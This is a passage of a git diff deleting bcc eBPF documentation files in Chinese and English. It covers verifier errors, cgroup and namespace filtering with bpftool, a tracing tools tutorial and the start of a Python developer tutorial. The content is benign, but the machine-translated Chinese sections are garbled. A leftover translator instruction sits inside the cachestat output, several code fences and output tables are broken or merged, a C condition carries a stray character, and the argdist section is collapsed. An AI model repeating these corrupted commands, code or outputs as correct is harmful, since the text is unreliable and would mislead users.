sys_clone or __x64_sys_clone or ... -``` - -Examples in situ: -[search /examples](https://github.com/iovisor/bcc/search?q=get_syscall_fnname+path%3Aexamples+language%3Apython&type=Code), -[search /tools](https://github.com/iovisor/bcc/search?q=get_syscall_fnname+path%3Atools+language%3Apython&type=Code) - -# BPF Errors - -See the "Understanding eBPF verifier messages" section in the kernel source under Documentation/networking/filter.txt. - -## 1. Invalid mem access - -This can be due to trying to read memory directly, instead of operating on memory on the BPF stack. All kernel memory reads must be passed via bpf_probe_read_kernel() to copy kernel memory into the BPF stack, which can be automatic by the bcc rewriter in some cases of simple dereferencing. bpf_probe_read_kernel() does all the required checks. - -Example: - -```sh -bpf: Permission denied -0: (bf) r6 = r1 -1: (79) r7 = *(u64 *)(r6 +80) -2: (85) call 14 -3: (bf) r8 = r0 -[...] -23: (69) r1 = *(u16 *)(r7 +16) -R7 invalid mem access 'inv' - -Traceback (most recent call last): - File "./tcpaccept", line 179, in - b = BPF(text=bpf_text) - File "/usr/lib/python2.7/dist-packages/bcc/__init__.py", line 172, in __init__ - self._trace_autoload() - File "/usr/lib/python2.7/dist-packages/bcc/__init__.py", line 612, in _trace_autoload - fn = self.load_func(func_name, BPF.KPROBE) - File "/usr/lib/python2.7/dist-packages/bcc/__init__.py", line 212, in load_func - raise Exception("Failed to load BPF program %s" % func_name) -Exception: Failed to load BPF program kretprobe__inet_csk_accept -``` - -## 2. Cannot call GPL only function from proprietary program - -This error happens when a GPL-only helper is called from a non-GPL BPF program. To fix this error, do not use GPL-only helpers from a proprietary BPF program, or relicense the BPF program under a GPL-compatible license. Check which [BPF helpers](https://github.com/iovisor/bcc/blob/master/docs/kernel-versions.md#helpers) are GPL-only, and what licenses are considered GPL-compatible. - -Example calling `bpf_get_stackid()`, a GPL-only BPF helper, from a proprietary program (`#define BPF_LICENSE Proprietary`): - -```sh -bpf: Failed to load program: Invalid argument -[...] -8: (85) call bpf_get_stackid#27 -cannot call GPL only function from proprietary program -``` - -# Environment Variables - -## 1. Kernel source directory - -eBPF program compilation needs kernel sources or kernel headers with headers -compiled. In case your kernel sources are at a non-standard location where BCC -cannot find then, its possible to provide BCC the absolute path of the location -by setting `BCC_KERNEL_SOURCE` to it. - -## 2. Kernel version overriding - -By default, BCC stores the `LINUX_VERSION_CODE` in the generated eBPF object -which is then passed along to the kernel when the eBPF program is loaded. -Sometimes this is quite inconvenient especially when the kernel is slightly -updated such as an LTS kernel release. Its extremely unlikely the slight -mismatch would cause any issues with the loaded eBPF program. By setting -`BCC_LINUX_VERSION_CODE` to the version of the kernel that's running, the check -for verifying the kernel version can be bypassed. This is needed for programs -that use kprobes. This needs to be encoded in the format: `(VERSION * 65536) + -(PATCHLEVEL * 256) + SUBLEVEL`. For example, if the running kernel is `4.9.10`, -then can set `export BCC_LINUX_VERSION_CODE=264458` to override the kernel -version check successfully. diff --git a/src/bcc-documents/special_filtering.md b/src/bcc-documents/special_filtering.md deleted file mode 100644 index f3bc1af8..00000000 --- a/src/bcc-documents/special_filtering.md +++ /dev/null @@ -1,113 +0,0 @@ -# 特殊过滤 - -某些工具具有特殊的过滤能力,主要用例是跟踪运行在容器中的进程,但这些机制是通用的,也可以在其他情况下使用。 - -## 按 cgroups过滤 - -某些工具有一个通过引用外部管理的固定的BPF哈希映射来按cgroup过滤的选项。 - -命令示例: - -```sh -# ./opensnoop --cgroupmap /sys/fs/bpf/test01 -# ./execsnoop --cgroupmap /sys/fs/bpf/test01 -# ./tcpconnect --cgroupmap /sys/fs/bpf/test01 -# ./tcpaccept --cgroupmap /sys/fs/bpf/test01 -# ./tcptracer --cgroupmap /sys/fs/bpf/test01 -``` - -上述命令将仅显示属于一个或多个cgroup的进程的结果,这些cgroup的ID由`bpf_get_current_cgroup_id()`返回,并存在固定的BPF哈希映射中。 - -通过以下方式创建BPF哈希映射: - -```sh -# bpftool map create /sys/fs/bpf/test01 type hash key 8 value 8 entries 128 \ - name cgroupset flags 0 -``` - -要在新cgroup中获取一个shell,可以使用: - -```sh -# systemd-run --pty --unit test bash -``` - -该shell将在cgroup`/sys/fs/cgroup/unified/system.slice/test.service`中运行。 - -可以使用`name_to_handle_at()`系统调用来发现cgroup ID。在examples/cgroupid中,您可以找到一个获取cgroup ID的程序示例。 - -```sh -# cd examples/cgroupid -# make -# ./cgroupid hex /sys/fs/cgroup/unified/system.slice/test.service -``` - -或者,使用Docker: - -```sh -# cd examples/cgroupid -# docker build -t cgroupid . -# docker run --rm --privileged -v /sys/fs/cgroup:/sys/fs/cgroup \ - cgroupid cgroupid hex /sys/fs/cgroup/unified/system.slice/test.service -``` - -这将以主机的字节序(hexadecimal string)打印出cgroup ID,例如`77 16 00 00 01 00 00 00`。 - -```sh -# FILE=/sys/fs/bpf/test01 -# CGROUPID_HEX="77 16 00 00 01 00 00 00" -# bpftool map update pinned $FILE key hex $CGROUPID_HEX value hex 00 00 00 00 00 00 00 00 any -``` - -现在,通过systemd-run启动的shell的cgroup ID已经存在于BPF哈希映射中,bcc工具将显示来自该shell的结果。可以添加和。从BPF哈希映射中删除而不重新启动bcc工具。 - -这个功能对于将bcc工具集成到外部项目中非常有用。 - -## 按命名空间选择挂载点进行过滤 - -BPF哈希映射可以通过以下方式创建: - -```sh -# bpftool map create /sys/fs/bpf/mnt_ns_set type hash key 8 value 4 entries 128 \ - name mnt_ns_set flags 0 -``` - -仅执行`execsnoop`工具,过滤挂载命名空间在`/sys/fs/bpf/mnt_ns_set`中: - -```sh -# tools/execsnoop.py --mntnsmap /sys/fs/bpf/mnt_ns_set -``` - -在新的挂载命名空间中启动一个终端: - -```sh -# unshare -m bash -``` - -使用上述终端的挂载命名空间ID更新哈希映射: - -```sh -FILE=/sys/fs/bpf/mnt_ns_set -if [ $(printf '\1' | od -dAn) -eq 1 ]; then - HOST_ENDIAN_CMD=tac -else - HOST_ENDIAN_CMD=cat -fi - -NS_ID_HEX="$(printf '%016x' $(stat -Lc '%i' /proc/self/ns/mnt) | sed 's/.\{2\}/&\n/g' | $HOST_ENDIAN_CMD)" -bpftool map update pinned $FILE key hex $NS_ID_HEX value hex 00 00 00 00 any -``` - -在这个终端中执行命令: - -```sh -# ping kinvolk.io -``` - -你会看到在上述你启动的`execsnoop`终端中,这个调用被记录下来: - -```sh -# tools/execsnoop.py --mntnsmap /sys/fs/bpf/mnt_ns_set -[sudo] password for mvb: -PCOMM PID PPID RET ARGS -ping 8096 7970 0 /bin/ping kinvolk.io -```。 diff --git a/src/bcc-documents/special_filtering_en.md b/src/bcc-documents/special_filtering_en.md deleted file mode 100644 index c109f0c8..00000000 --- a/src/bcc-documents/special_filtering_en.md +++ /dev/null @@ -1,125 +0,0 @@ -# Special Filtering - -Some tools have special filtering capabitilies, the main use case is to trace -processes running in containers, but those mechanisms are generic and could -be used in other cases as well. - -## Filtering by cgroups - -Some tools have an option to filter by cgroup by referencing a pinned BPF hash -map managed externally. - -Examples of commands: - -```sh -# ./opensnoop --cgroupmap /sys/fs/bpf/test01 -# ./execsnoop --cgroupmap /sys/fs/bpf/test01 -# ./tcpconnect --cgroupmap /sys/fs/bpf/test01 -# ./tcpaccept --cgroupmap /sys/fs/bpf/test01 -# ./tcptracer --cgroupmap /sys/fs/bpf/test01 -``` - -The commands above will only display results from processes that belong to one -of the cgroups whose id, returned by `bpf_get_current_cgroup_id()`, is in the -pinned BPF hash map. - -The BPF hash map can be created by: - -```sh -# bpftool map create /sys/fs/bpf/test01 type hash key 8 value 8 entries 128 \ - name cgroupset flags 0 -``` - -To get a shell in a new cgroup, you can use: - -```sh -# systemd-run --pty --unit test bash -``` - -The shell will be running in the cgroup -`/sys/fs/cgroup/unified/system.slice/test.service`. - -The cgroup id can be discovered using the `name_to_handle_at()` system call. In -the examples/cgroupid, you will find an example of program to get the cgroup -id. - -```sh -# cd examples/cgroupid -# make -# ./cgroupid hex /sys/fs/cgroup/unified/system.slice/test.service -``` - -or, using Docker: - -```sh -# cd examples/cgroupid -# docker build -t cgroupid . -# docker run --rm --privileged -v /sys/fs/cgroup:/sys/fs/cgroup \ - cgroupid cgroupid hex /sys/fs/cgroup/unified/system.slice/test.service -``` - -This prints the cgroup id as a hexadecimal string in the host endianness such -as `77 16 00 00 01 00 00 00`. - -```sh -# FILE=/sys/fs/bpf/test01 -# CGROUPID_HEX="77 16 00 00 01 00 00 00" -# bpftool map update pinned $FILE key hex $CGROUPID_HEX value hex 00 00 00 00 00 00 00 00 any -``` - -Now that the shell started by systemd-run has its cgroup id in the BPF hash -map, bcc tools will display results from this shell. Cgroups can be added and -removed from the BPF hash map without restarting the bcc tool. - -This feature is useful for integrating bcc tools in external projects. - -## Filtering by mount by namespace - -The BPF hash map can be created by: - -```sh -# bpftool map create /sys/fs/bpf/mnt_ns_set type hash key 8 value 4 entries 128 \ - name mnt_ns_set flags 0 -``` - -Execute the `execsnoop` tool filtering only the mount namespaces -in `/sys/fs/bpf/mnt_ns_set`: - -```sh -# tools/execsnoop.py --mntnsmap /sys/fs/bpf/mnt_ns_set -``` - -Start a terminal in a new mount namespace: - -```sh -# unshare -m bash -``` - -Update the hash map with the mount namespace ID of the terminal above: - -```sh -FILE=/sys/fs/bpf/mnt_ns_set -if [ $(printf '\1' | od -dAn) -eq 1 ]; then - HOST_ENDIAN_CMD=tac -else - HOST_ENDIAN_CMD=cat -fi - -NS_ID_HEX="$(printf '%016x' $(stat -Lc '%i' /proc/self/ns/mnt) | sed 's/.\{2\}/&\n/g' | $HOST_ENDIAN_CMD)" -bpftool map update pinned $FILE key hex $NS_ID_HEX value hex 00 00 00 00 any -``` - -Execute a command in this terminal: - -```sh -# ping kinvolk.io -``` - -You'll see how on the `execsnoop` terminal you started above the call is logged: - -```sh -# tools/execsnoop.py --mntnsmap /sys/fs/bpf/mnt_ns_set -[sudo] password for mvb: -PCOMM PID PPID RET ARGS -ping 8096 7970 0 /bin/ping kinvolk.io -``` diff --git a/src/bcc-documents/tutorial.md b/src/bcc-documents/tutorial.md deleted file mode 100644 index a0285f93..00000000 --- a/src/bcc-documents/tutorial.md +++ /dev/null @@ -1,421 +0,0 @@ -# bcc 教程 - -本教程介绍如何使用[bcc](https://github.com/iovisor/bcc)工具快速解决性能、故障排除和网络问题。如果你想开发新的bcc工具,请参考[tutorial_bcc_python_developer.md](tutorial_bcc_python_developer.md)教程。 - -本教程假设bcc已经安装好,并且你可以成功运行像execsnoop这样的工具。参见[INSTALL.md](https://github.com/iovisor/bcc/tree/master/INSTALL.md)。这些功能是在Linux 4.x系列中增加的。 - -## 可观察性 - -一些快速的收获。 - -### 0. 使用bcc之前 - -在使用bcc之前,你应该从Linux基础知识开始。可以参考[Linux Performance Analysis in 60,000 Milliseconds](https://netflixtechblog.com/linux-performance-analysis-in-60-000-milliseconds-accc10403c55)文章,其中介绍了以下命令: - -1. uptime -1. dmesg | tail -1. vmstat 1 -1. mpstat -P ALL 1 -1. pidstat 1 -1. iostat -xz 1 -1. free -m -1. sar -n DEV 1 -1. sar -n TCP,ETCP 1 -1. top - -### 1. 性能分析 - -这是一个用于性能调查的通用检查清单,首先有一个列表,然后详细描述: - -1. execsnoop -1. opensnoop -1. ext4slower(或btrfs\*,xfs\*,zfs\*) -1. biolatency -1. biosnoop -1. cachestat -1. tcpconnect -1. tcpaccept -1. tcpretrans -1. runqlat -1. profile - -这些工具可能已经安装在你的系统的/usr/share/bcc/tools目录下,或者你可以从bcc github仓库的/tools目录中运行它们,这些工具使用.py扩展名。浏览50多个可用的工具,获得更多的分析选项。 - -#### 1.1 execsnoop - -```sh -# ./execsnoop -PCOMM PID RET ARGS -supervise 9660 0 ./run -supervise 9661 0 ./run -mkdir 9662 0 /bin/mkdir -p ./main -run 9663 0 ./run -[...] -``` - -execsnoop对于每个新进程打印一行输出。检查短生命周期的进程。这些进程可能会消耗CPU资源,但不会在大多数周期性运行的进程监控工具中显示出来。它通过跟踪`exec()`来工作,而不是`fork()`,所以它可以捕获许多类型的新进程,但不是所有类型(例如,它不会看到启动工作进程的应用程序,该应用程序没有`exec()`其他任何内容)。 - -更多[例子](https://github.com/iovisor/bcc/tree/master/tools/execsnoop_example.txt)。 - -#### 1.2. opensnoop - -```sh -# ./opensnoop -PID COMM FD ERR PATH -1565 redis-server 5 0 /proc/1565/stat -1565 redis-server 5 0 /proc/1565/stat -1565 redis-server 5 0 /proc/1565/stat -1603 snmpd 9 0 /proc/net/dev -1603 snmpd 11 0 /proc/net/if_inet6 -1603 snmpd -1 2 /sys/class/net/eth0/device/vendor -1603 snmpd 11 0 /proc/sys/net/ipv4/neigh/eth0/retrans_time_ms -1603 snmpd 11 0 /proc/sys/net/ipv6/neigh/eth0/retrans_time_ms -1603 snmpd 11 0 /proc/sys/net/ipv6/conf/eth0/forwarding -[...] -``` - -opensnoop每次open() syscall执行时打印一行输出,包括详细信息。 - -打开的文件可以告诉你很多关于应用程序的工作方式的信息:它们的数据文件、配置文件和日志文件。有时候应用程序可能会表现不正常,当它们不断尝试读取不存在的文件时则会表现得很差。opensnoop能够快速帮助你查看。 - -更多[例子](https://github.com/iovisor/bcc/tree/master/tools/opensnoop_example.txt)。 - -#### 1.3. ext4slower(或btrfs\*,xfs\*,zfs\*) - -```sh -# ./ext4slower -追踪超过10毫秒的ext4操作 -时间 进程 进程ID T 字节数 偏移KB 延迟(ms) 文件名 -06:35:01 cron 16464 R 1249 0 16.05 common-auth -06:35:01 cron 16463 R 1249 0 16.04 common-auth -06:35:01 cron 16465 R 1249 0 16.03 common-auth -06:35:01 cron 16465 R 4096 0 10.62 login.defs -06:35:01 cron 16464 R 4096 0 10.61 login.defs -``` - -ext4slower跟踪ext4文件系统,并计时常见操作,然后只打印超过阈值的操作。这对于识别或证明一种性能问题非常方便:通过文件系统单独显示较慢的磁盘 I/O。磁盘以异步方式处理 I/O,很难将该层的延迟与应用程序所经历的延迟关联起来。在内核堆栈中更高层的追踪,即在 VFS -> 文件系统接口中,会更接近应用程序遭受的延迟。使用此工具来判断文件系统的延迟是否超过了给定的阈值。 - -在 bcc 中存在其他文件系统的类似工具:btrfsslower、xfsslower 和 zfsslower。还有一个名为 fileslower 的工具,它在 VFS 层工作并跟踪所有内容(尽管会有更高的开销)。 - -更多[示例](https://github.com/iovisor/bcc/tree/master/tools/ext4slower_example.txt)。 - -#### 1.4. biolatency - -```sh -# ./biolatency -跟踪块设备的 I/O... 按 Ctrl-C 结束。 -^C - 微秒 : 数量 分布 - 0 -> 1 : 0 | | - 2 -> 3 : 0 | | - 4 -> 7 : 0 | | - 8 -> 15 : 0 | | - 16 -> 31 : 0 | | - 32 -> 63 : 0 | | - 64 -> 127 : 1 | | - 128 -> 255 : 12 |******** | - 256 -> 511 : 15 |********** | - 512 -> 1023 : 43 |******************************* | - 1024 -> 2047 : 52 |**************************************| - 2048 -> 4095 : 47 |********************************** | - 4096 -> 8191 : 52 |**************************************| - 8192 -> 16383 : 36 |************************** | - 16384 -> 32767 : 15 |********** |。32768 -> 65535 : 2 |* | - 65536 -> 131071 : 2 |* | -``` - -biolatency跟踪磁盘I/O延迟(从设备执行到完成的时间),当工具结束(Ctrl-C,或给定的间隔)时,它会打印延迟的直方图摘要。 - -这对于了解超出iostat等工具提供的平均时间的磁盘I/O延迟非常有用。在分布的末尾将可见I/O延迟的异常值,以及多种模式的分布。 - -更多[示例](https://github.com/iovisor/bcc/tree/master/tools/biolatency_example.txt)。 - -#### 1.5. biosnoop - -```sh -# ./biosnoop -TIME(s) COMM PID DISK T SECTOR BYTES LAT(ms) -0.000004001 supervise 1950 xvda1 W 13092560 4096 0.74 -0.000178002 supervise 1950 xvda1 W 13092432 4096 0.61 -0.001469001 supervise 1956 xvda1 W 13092440 4096 1.24 -0.001588002 supervise 1956 xvda1 W 13115128 4096 1.09 -1.022346001 supervise 1950 xvda1 W 13115272 4096 0.98 -1.022568002 supervise 1950 xvda1 W 13188496 4096 0.93 -[...] -``` - -biosnoop为每个磁盘I/O打印一行输出,其中包括延迟(从设备执行到完成的时间)等详细信息。 - -这让您可以更详细地研究磁盘I/O,并寻找按时间排序的模式(例如,读取在写入后排队)。请注意,如果您的系统以高速率执行磁盘I/O,则输出将冗长。 - -更多[示例](https://github.com/iovisor/bcc/tree/master/tools/biosnoop_example.txt)。 - -#### 1.6. cachestat - -```sh -# ./cachestat - HITS MISSES DIRTIES READ_HIT% WRITE_HIT% BUFFERS_MB CACHED_MB - 1074 44 13 94.9% 2.9% 1 223 - 2195 170 8 92.5% 6.8% 1 143 - 182 53 56 53.6% 1.3% 1 143 - 62480 40960 20480 40.6% 19.8% 1 223"。 -格式:仅返回翻译后的内容,不包括原始文本。``` -7 2 5 22.2% 22.2% 1 223 - 348 0 0 100.0% 0.0% 1 223 -[...] -``` - -cachestat 每秒(或每个自定义时间间隔)打印一行摘要,显示文件系统缓存的统计信息。 - -可以用它来识别低缓存命中率和高缺失率,这是性能调优的线索之一。 - -更多 [示例](https://github.com/iovisor/bcc/tree/master/tools/cachestat_example.txt)。 - -#### 1.7. tcpconnect - -```sh -# ./tcpconnect -PID COMM IP SADDR DADDR DPORT -1479 telnet 4 127.0.0.1 127.0.0.1 23 -1469 curl 4 10.201.219.236 54.245.105.25 80 -1469 curl 4 10.201.219.236 54.67.101.145 80 -1991 telnet 6 ::1 ::1 23 -2015 ssh 6 fe80::2000:bff:fe82:3ac fe80::2000:bff:fe82:3ac 22 -[...] -``` - -tcpconnect 每个活动的 TCP 连接(例如通过 connect())打印一行输出,包括源地址和目标地址的详细信息。 - -寻找可能指向应用程序配置问题或入侵者的意外连接。 - -更多 [示例](https://github.com/iovisor/bcc/tree/master/tools/tcpconnect_example.txt)。 - -#### 1.8. tcpaccept - -```sh -# ./tcpaccept -PID COMM IP RADDR LADDR LPORT -907 sshd 4 192.168.56.1 192.168.56.102 22 -907 sshd 4 127.0.0.1 127.0.0.1 22 -5389 perl 6 1234:ab12:2040:5020:2299:0:5:0 1234:ab12:2040:5020:2299:0:5:0 7001 -[...] -``` - -tcpaccept 每个被动的 TCP 连接(例如通过 accept())打印一行输出,包括源地址和目标地址的详细信息。 - -寻找可能指向应用程序配置问题或入侵者的意外连接。 - -更多 [示例](https://github.com/iovisor/bcc/tree/master/tools/tcpaccept_example.txt)。 - -#### 1.9. tcpretrans - -```sh -# ./tcpretrans". -```时间 PID IP LADDR:LPORT T> RADDR:RPORT 状态 -01:55:05 0 4 10.153.223.157:22 R> 69.53.245.40:34619 已建立 -01:55:05 0 4 10.153.223.157:22 R> 69.53.245.40:34619 已建立 -01:55:17 0 4 10.153.223.157:22 R> 69.53.245.40:22957 已建立 -[...] -``` - -tcpretrans为每个TCP重传数据包打印一行输出,其中包括源地址、目的地址以及TCP连接的内核状态。 - -TCP重传会导致延迟和吞吐量问题。对于已建立的重传,可以查找与网络有关的模式。对于SYN_SENT,可能指向目标内核CPU饱和和内核数据包丢失。 - -更多[示例](https://github.com/iovisor/bcc/tree/master/tools/tcpretrans_example.txt)。 - -#### 1.10. runqlat - -```sh -# ./runqlat -跟踪运行队列延迟... 按Ctrl-C结束。 -^C - 微秒数 : 计数 分布 - 0 -> 1 : 233 |*********** | - 2 -> 3 : 742 |************************************ | - 4 -> 7 : 203 |********** | - 8 -> 15 : 173 |******** | - 16 -> 31 : 24 |* | - 32 -> 63 : 0 | | - 64 -> 127 : 30 |* | - 128 -> 255 : 6 | | - 256 -> 511 : 3 | | - 512 -> 1023 : 5 | | - 1024 -> 2047 : 27 |* | - 2048 -> 4095 : 30 |* | - 4096 -> 8191 : 20 | | - 8192 -> 16383 : 29 |* |".16384 -> 32767 : 809 |****************************************| -32768 -> 65535 : 64 |*** | -``` - -这可以帮助量化在CPU饱和期间等待获取CPU的时间损失。 - -更多[示例](https://github.com/iovisor/bcc/tree/master/tools/runqlat_example.txt)。 - -#### 1.11. 分析 - -```sh -# ./profile -以每秒49次的频率对所有线程进行采样,包括用户和内核栈...按Ctrl-C结束。 -^C - 00007f31d76c3251 [未知] - 47a2c1e752bf47f7 [未知] - - sign-file (8877) - 1 - - ffffffff813d0af8 __clear_user - ffffffff813d5277 iov_iter_zero - ffffffff814ec5f2 read_iter_zero - ffffffff8120be9d __vfs_read - ffffffff8120c385 vfs_read - ffffffff8120d786 sys_read - ffffffff817cc076 entry_SYSCALL_64_fastpath - 00007fc5652ad9b0 read - - dd (25036) - 4 - - 0000000000400542 func_a - 0000000000400598 main - 00007f12a133e830 __libc_start_main - 083e258d4c544155 [未知] - - func_ab (13549) - 5 - -[...] - - ffffffff8105eb66 native_safe_halt - ffffffff8103659e default_idle - ffffffff81036d1f arch_cpu_idle - ffffffff810bba5a default_idle_call - ffffffff810bbd07 cpu_startup_entry - ffffffff8104df55 start_secondary - - swapper/1 (0) - 75 -``` - -profile是一个CPU分析工具,它在定时间隔内采样堆栈跟踪,并打印唯一堆栈跟踪的摘要及其出现次数。 - -使用此工具来了解消耗CPU资源的代码路径。 - -更多[示例](https://github.com/iovisor/bcc/tree/master/tools/profile_example.txt)。 - -### 2. 使用通用工具进行可观察性 - -除了上述用于性能调整的工具外,下面是一个bcc通用工具的清单,首先是一个列表,然后详细说明: - -1. trace -1. argdist -1. funccount这些通用工具可能有助于解决您特定问题的可视化。 - -#### 2.1. 跟踪 - -##### 示例 1 - -假设您想要跟踪文件所有权更改。有三个系统调用,`chown`、`fchown`和`lchown`,用户可以使用它们来更改文件所有权。相应的系统调用入口是`SyS_[f|l]chown`。可以使用以下命令打印系统调用参数和调用进程的用户ID。您可以使用`id`命令查找特定用户的UID。 - -```sh -$ trace.py \ - 'p::SyS_chown "file = %s, to_uid = %d, to_gid = %d, from_uid = %d", arg1, arg2, arg3, $uid' \ - 'p::SyS_fchown "fd = %d, to_uid = %d, to_gid = %d, from_uid = %d", arg1, arg2, arg3, $uid' \ - 'p::SyS_lchown "file = %s, to_uid = %d, to_gid = %d, from_uid = %d", arg1, arg2, arg3, $uid' -PID TID COMM FUNC - -1269255 1269255 python3.6 SyS_lchown file = /tmp/dotsync-usisgezu/tmp, to_uid = 128203, to_gid = 100, from_uid = 128203 -1269441 1269441 zstd SyS_chown file = /tmp/dotsync-vic7ygj0/dotsync-package.zst, to_uid = 128203, to_gid = 100, from_uid = 128203 -1269255 1269255 python3.6 SyS_lchown file = /tmp/dotsync-a40zd7ev/tmp, to_uid = 128203, to_gid = 100, from_uid = 128203 -1269442 1269442 zstd SyS_chown file = /tmp/dotsync-gzp413o_/dotsync-package.zst, to_uid = 128203, to_gid = 100, from_uid = 128203 -1269255 1269255 python3.6 SyS_lchown file = /tmp/dotsync-whx4fivm/tmp/.bash_profile, to_uid = 128203, to_gid = 100, from_uid = 128203 -``` - -##### 示例 2 - -假设您想要统计基于bpf的性能监控工具中的非自愿上下文切换(`nvcsw`),而您不知道正确的方法是什么。`/proc//status`已经告诉您进程的非自愿上下文切换(`nonvoluntary_ctxt_switches`)的数量,并且您可以使用`trace.py`进行快速实验以验证您的方法。根据内核源代码,`nvcsw`在文件`linux/kernel/sched/core.c`的`__schedule`函数中计数,并满足以下条件: - -```c -.!(!preempt && prev->state) // 即 preempt || !prev->state -``` - -`__schedule` 函数被标记为 `notrace` ,评估上述条件的最佳位置似乎在函数 `__schedule` 内部的 `sched/sched_switch` 跟踪点中,并且在 `linux/include/trace/events/sched.h` 中定义。`trace.py` 已经将 `args` 设置为跟踪点 `TP_STRUCT__entry` 的指针。函数 `__schedule` 中的上述条件可以表示为 - -```c -args->prev_state == TASK_STATE_MAX || args->prev_state == 0 -``` - -可以使用以下命令来计算非自愿上下文切换(每个进程或每个进程ID),并与 `/proc//status` 或 `/proc//task//status` 进行比较,以确保正确性,因为在典型情况下,非自愿上下文切换并不常见。 - -```sh -$ trace.py -p 1134138 't:sched:sched_switch (args->prev_state == TASK_STATE_MAX || args->prev_state == 0)' -PID TID COMM FUNC -1134138 1134140 contention_test sched_switch -1134138 1134142 contention_test sched_switch -... -$ trace.py -L 1134140 't:sched:sched_switch (args->prev_state == TASK_STATE_MAX || args->prev_state == 0)' -PID TID COMM FUNC -1134138 1134140 contention_test sched_switch -1134138 1134140 contention_test sched_switch -... -``` - -##### 示例 3 - -此示例与问题 [1231](https://github.com/iovisor/bcc/issues/1231) 和 [1516](https://github.com/iovisor/bcc/issues/1516) 相关,其中在某些情况下,uprobes 完全无法工作。首先,你可以执行以下 `strace` - -```sh -$ strace trace.py 'r:bash:readline "%s", retval' -... -perf_event_open(0x7ffd968212f0, -1, 0, -1, 0x8 /* PERF_FLAG_??? */) = -1 EIO (Input/output error) -... -``` - -`perf_event_open`系统调用返回`-EIO`。在`/kernel/trace`和`/kernel/events`目录中查找与`EIO`相关的内核uprobe代码,函数`uprobe_register`最可疑。让我们找出是否调用了这个函数,如果调用了,返回值是什么。在一个终端中使用以下命令打印出`uprobe_register`的返回值: - -```sh -trace.py 'r::uprobe_register "ret = %d", retval' -``` - -在另一个终端中运行相同的bash uretprobe跟踪示例,您应该得到: - -```sh -$ trace.py 'r::uprobe_register "ret = %d", retval' -PID TID COMM FUNC - -1041401 1041401 python2.7 uprobe_register ret = -5 -``` - -错误代码`-5`是EIO。这证实了函数`uprobe_register`中的以下代码是最可疑的罪魁祸首。 - -```c - if (!inode->i_mapping->a_ops->readpage && !shmem_mapping(inode->i_mapping)) - return -EIO; -``` - -`shmem_mapping`函数定义如下: - -```c -bool shmem_mapping(struct address_space *mapping) -{ - return mapping->a_ops == &shmem_aops; -} -``` - -为了确认这个理论,使用以下命令找出`inode->i_mapping->a_ops`的值: - -```sh -$ trace.py -I 'linux/fs.h' 'p::uprobe_register(struct inode *inode) "a_ops = %llx", inode->i_mapping->a_ops' -PID TID COMM FUNC - -814288 814288 python2.7 uprobe_register a_ops = ffffffff81a2adc0 -^C$ grep ffffffff81a2adc0 /proc/kallsyms -ffffffff81a2adc0 R empty_aops -``` - -内核符号`empty_aops`没有定义`readpage`,因此上述可疑条件为真。进一步检查内核源代码显示,`overlayfs`没有提供自己的`a_ops`,而其他一些文件系统(例如ext4)定义了自己的`a_ops`(例如`ext4_da_aops`),并且`ext4_da_aops`定义了`readpage`。因此,uprobe对于ext4正常工作,但在overlayfs上不正常工作。 - -更多[示例](https://github.com/iovisor/bcc/tree/master/tools/trace_example.txt)。 - -#### 2.2. argdist"。更多[示例](https://github.com/iovisor/bcc/tree/master/tools/argdist_example.txt) - -#### 2.3. funccount - -更多[示例](https://github.com/iovisor/bcc/tree/master/tools/funccount_example.txt). - -## 网络 - -To do. diff --git a/src/bcc-documents/tutorial_bcc_python_developer.md b/src/bcc-documents/tutorial_bcc_python_developer.md deleted file mode 100644 index 4d33391a..00000000 --- a/src/bcc-documents/tutorial_bcc_python_developer.md +++ /dev/null @@ -1,703 +0,0 @@ -# bcc Python 开发者教程 - -本教程介绍使用 Python 接口开发 [bcc](https://github.com/iovisor/bcc) 工具和程序。分为两个部分:可观测性和网络。代码片段取自 bcc 的各个程序,请查阅其文件以了解许可证情况。 - -还请参阅 bcc 开发者的[参考指南](reference_guide.md),以及针对工具的用户的教程:[教程](tutorial.md)。还有适用于 bcc 的 lua 接口。 - -## 可观测性 - -这个可观测性教程包含17个课程和46个要学习的枚举事项。 - -### 第1课. 你好,世界 - -首先运行 [examples/hello_world.py](https://github.com/iovisor/bcc/tree/master/examples/hello_world.py),同时在另一个会话中运行一些命令(例如,“ls”)。它应该会为新进程打印“Hello, World!”。如果没有打印,请先修复bcc:请参阅 [INSTALL.md](https://github.com/iovisor/bcc/tree/master/INSTALL.md)。 - -```sh -# ./examples/hello_world.py - bash-13364 [002] d... 24573433.052937: : Hello, World! - bash-13364 [003] d... 24573436.642808: : Hello, World! -[...] -``` - -以下是 hello_world.py 的代码示例: - -```Python -from bcc import BPF -BPF(text='int kprobe__sys_clone(void *ctx) { bpf_trace_printk("Hello, World!\\n"); return 0; }').trace_print() -``` - -从中可以学到六件事情: - -1. ```text='...'```:这定义了内联的 BPF 程序。该程序是用 C 编写的。 - -1. ```kprobe__sys_clone()```:这是通过 kprobes 动态跟踪内核的一种快捷方式。如果 C 函数以 ```kprobe__``` 开头,其余部分将被视为要定位的内核函数名称,本例中为 ```sys_clone()```。 - -1. ```void *ctx```:ctx 是参数,但由于我们在此处未使用它们,所以我们将其转换为 ```void*``` 类型。 -1. ```bpf_trace_printk()```: 用于将 printf() 打印到通用 trace_pipe (/sys/kernel/debug/tracing/trace_pipe) 的简单内核工具。 这对于一些快速示例是可以的,但有一些限制:最多只有 3 个参数,只能有一个 %s,并且 trace_pipe 是全局共享的,所以并发程序会有冲突的输出。更好的接口是通过 BPF_PERF_OUTPUT() 实现的,稍后会介绍。 - -1. ```return 0;```: 必要的规范性代码(如果想知道原因,请参见 [#139](https://github.com/iovisor/bcc/issues/139))。 - -1. ```.trace_print()```: 一个读取 trace_pipe 并打印输出的 bcc 程序。 - -### 第二课 sys_sync() - -编写一个跟踪 sys_sync() 内核函数的程序。运行时打印 "sys_sync() called"。在跟踪时,在另一个会话中运行 ```sync``` 进行测试。hello_world.py 程序中包含了这一切所需的内容。 - -通过在程序刚启动时打印 "Tracing sys_sync()... Ctrl-C to end." 来改进它。提示:它只是 Python 代码。 - -### 第三课 hello_fields.py - -该程序位于 [examples/tracing/hello_fields.py](https://github.com/iovisor/bcc/tree/master/examples/tracing/hello_fields.py)。样本输出(在另一个会话中运行命令): - -```sh -# examples/tracing/hello_fields.py -时间(s) 进程名 进程 ID 消息 -24585001.174885999 sshd 1432 你好,世界! -24585001.195710000 sshd 15780 你好,世界! -24585001.991976000 systemd-udevd 484 你好,世界! -24585002.276147000 bash 15787 你好,世界! -``` - -代码: - -```Python -from bcc import BPF - -# 定义 BPF 程序 -prog = """ -int hello(void *ctx) { - 